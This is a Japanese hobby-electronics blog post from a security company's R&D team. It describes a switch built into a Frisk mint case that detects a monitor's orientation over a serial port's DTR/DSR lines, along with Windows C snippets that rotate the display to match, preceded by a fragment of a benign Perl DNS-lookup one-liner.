21a,xn--mgbx4cd0ab,xn--mgbc0a9azcg,xn--mgb9awbf,xn--mgbai9azgqp6j,xn--ygbi2ammx,xn--wgbl6a,xn--p1ai,xn--mgberp4a5d4ar,xn--90a3ac,xn--yfro4i67o,xn--clchc0ea0b2g2a9gcd,xn--3e0b707e,xn--fzc2c9e2c,xn--xkc2al3hye2a,xn--mgbtf8fl,xn--kprw13d,xn--kpry57d,xn--o3cw4h,xn--pgbs0dh,xn--j1amh,xn--mgbaam7a8h,xn--mgb2ddes";@b=split(",",$a);for(@b){system("dig $_ ns");}'

たまにはハードウェア工作を楽しもう!

 こんにちは。ネットエージェント株式会社、研究開発部の長谷川です。今日は少し低レイヤの話ということで簡単なハードウェア工作を楽しもうと思います。

-----

■ ディスプレイを回転させたい!
 デュアルディスプレイの便利さはみなさんご存じのとおりだと思いますが、PDFやWordなどでA4サイズの文書を表示させているときなどに「ディスプレイを縦向きに表示させたい!」と思うことはありませんか? 私は普段からそう感じており、一時期、サブで使用しているディスプレイを縦向きに使用(表示)して使っていたのですが、日常的な作業では、やはり縦よりも横のほうが向いていることもあり、なかなか思ったほど気持ちよく作業できる環境ではありませんでした。
 というわけで、もう少し気軽に縦横を変えられる仕組みを実現しようと思い、ディスプレイ回転ツールを自作しました。

■ 材料
 今回使用した材料は以下になります。
  1. 液晶ディスプレイ用アーム(ARM-41C)
  2. スイッチ(5Aマイクロスイッチ)
  3. USB-シリアル変換ケーブル(USB-シリアル変換ケーブルUC-SGT)
  4. シリアルケーブル
  5. みんな大好きフリスクケース
 まず必要なのは液晶ディスプレイ用のアームです。一般的な液晶ディスプレイ用アームは、視野に対する角度などは細かく調整できますが、ディスプレイそのものの縦横を回転できるものは少ないです。それでも、丹念に探すと液晶の縦横回転機構を備えたものもそれなりの価格で見つかります。今回調達したものは、ライブクリエータ社のARM-41Cというもので、ヨドバシカメラで7000円を切る価格で手に入りました。
 次にスイッチですが、これはディスプレイの縦横を検出するために使用します。どのようなものでも構いませんが、今回はおもちゃ売り場で売っていたタミヤの5Aマイクロスイッチを使用しました。
 また、スイッチのON/OFFをPCに取り込むために、シリアル通信(いわゆるRS-232C)を利用することにし、今時のPCだとCOMポートがついていないため、USB経由でCOMポートを利用可能にするために、エレコムのUSB-シリアル変換ケーブルUC-SGTを使いました。
 あとは、クロスでもストレートでも構いませんので、スイッチに接続するために使用するシリアルケーブル。そして、スイッチを固定する台座として、みんな大好きフリスクケース。それ以外にもネジや両面テープなど適宜用意しておくと便利です。

■ ハードウェア工作
 fig1まずは、フリスクケース2個を振り子になるようネジで固定し、回転したときにスイッチが押されるようにスイッチも固定します。振り子側は、きちんとスイッチを押さえられるように中にコインを重りとして入れています(左図)。
 fig2シリアルケーブルのDTR、DSRをスイッチにハンダ付けします。また、ケーブルの自重でスイッチやハンダ付け部分が痛まないようにケースにケーブルを固定しておきます(右図)。
 fig3スイッチ部分ができあがれば、液晶ディスプレイ背面に両面テープでスイッチ機能付きフリスクケースを取り付けます。しっかりとスイッチが押されるように少し斜めに取り付けるのがコツです。縦、横とディスプレイの向きを変えたときにきちんとスイッチがON/OFFされるか確認します(左図-横、右図-縦)。
 fig4これで、ハードウェアの準備は完了です。あまりお金をかけない簡単な工作で、ディスプレイの向きに応じてシリアルポートのDTR-DSRがON/OFFされる装置が出来上がりました。

■ ソフトウェアの準備
 ハードウェアを作成したので、次はソフトウェアを組みます。
 ディスプレイの向きはシリアルポートのDSR信号を監視することで把握でき、監視するコードは、概ね以下のようになります(監視コードはサービスとして動作させています)。

HANDLE hComm;
OVERLAPPED ov;
DWORD dwCommState;

/* 略 */

EscapeCommFunction( hComm, SETDTR ); // DTR信号をON
SetCommMask( hComm, EV_DSR ); // DSR信号の変化を監視
ResetEvent( ov.hEvent ); // 非同期I/Oのためイベントをリセット

WaitCommEvent( hComm, &dwCommState, &ov ); // DSRの監視スタート
WaitForSingleObject( ov.hEvent, 30000 ); // イベント発生まで待機

 ディスプレイ表示の向きを変えるには、以下のようなコードで実現できます(エラー処理等は省略)。

int iDevNum = 1; // Display No.2
DISPLAY_DEVICE d;
DEVMODE dm;
int w;

ZeroMemory( &d, sizeof( d ) );
d.cb = sizeof( d );

EnumDisplayDevices( NULL, iDevNum, &d, 0 ) );
EnumDisplaySettings( d.DeviceName, ENUM_CURRENT_SETTINGS, &dm ) );

w = dm.dmPelsHeight;
dm.dmPelsHeight = dm.dmPelsWidth;
dm.dmPelsWidth = w;
dm.dmDisplayOrientation = DMDO_90; // 90度回転

ChangeDisplaySettingsEx( d.DeviceName, &dm, NULL, CDS_UPDATEREGISTRY, NULL );

 全ソースコードはGitHub上に置いてあります。興味がある方は参照してください。
 サービスとしてシリアルポートを監視していると、ユーザのディスプレイ(デスクトップ)とは直接対話できないため、シリアルポートからの信号を受け取った時点でログオンしているユーザのトークンを用いてCreateProcessAsUserを使ってディスプレイ表示の向きを変えるためのプログラムを起動しています。

■ さいごに
fig5 このように、ディスプレイの向きを検出するスイッチと、それに応じて表示の向きを変えるプログラムを作成することによって、ディスプレイの向きを物理的に変えることで表示も連動して変わり、非常に快適になりました(左図:縦表示)。
 ソフトウェアエンジニアにとって、ハードウェア工作は若干敷居が高そうに思えるかもしれませんが、ソフトウェアと同じくらい面白く、また出来ることの幅、可能性も広がると思います。興味があればぜひとも挑戦してみてください。
 それにしてもフリスクケースはちょっとした工作にはとても便利ですね。Enjoy!
記事検索
月別アーカイブ
QRコード
QRコード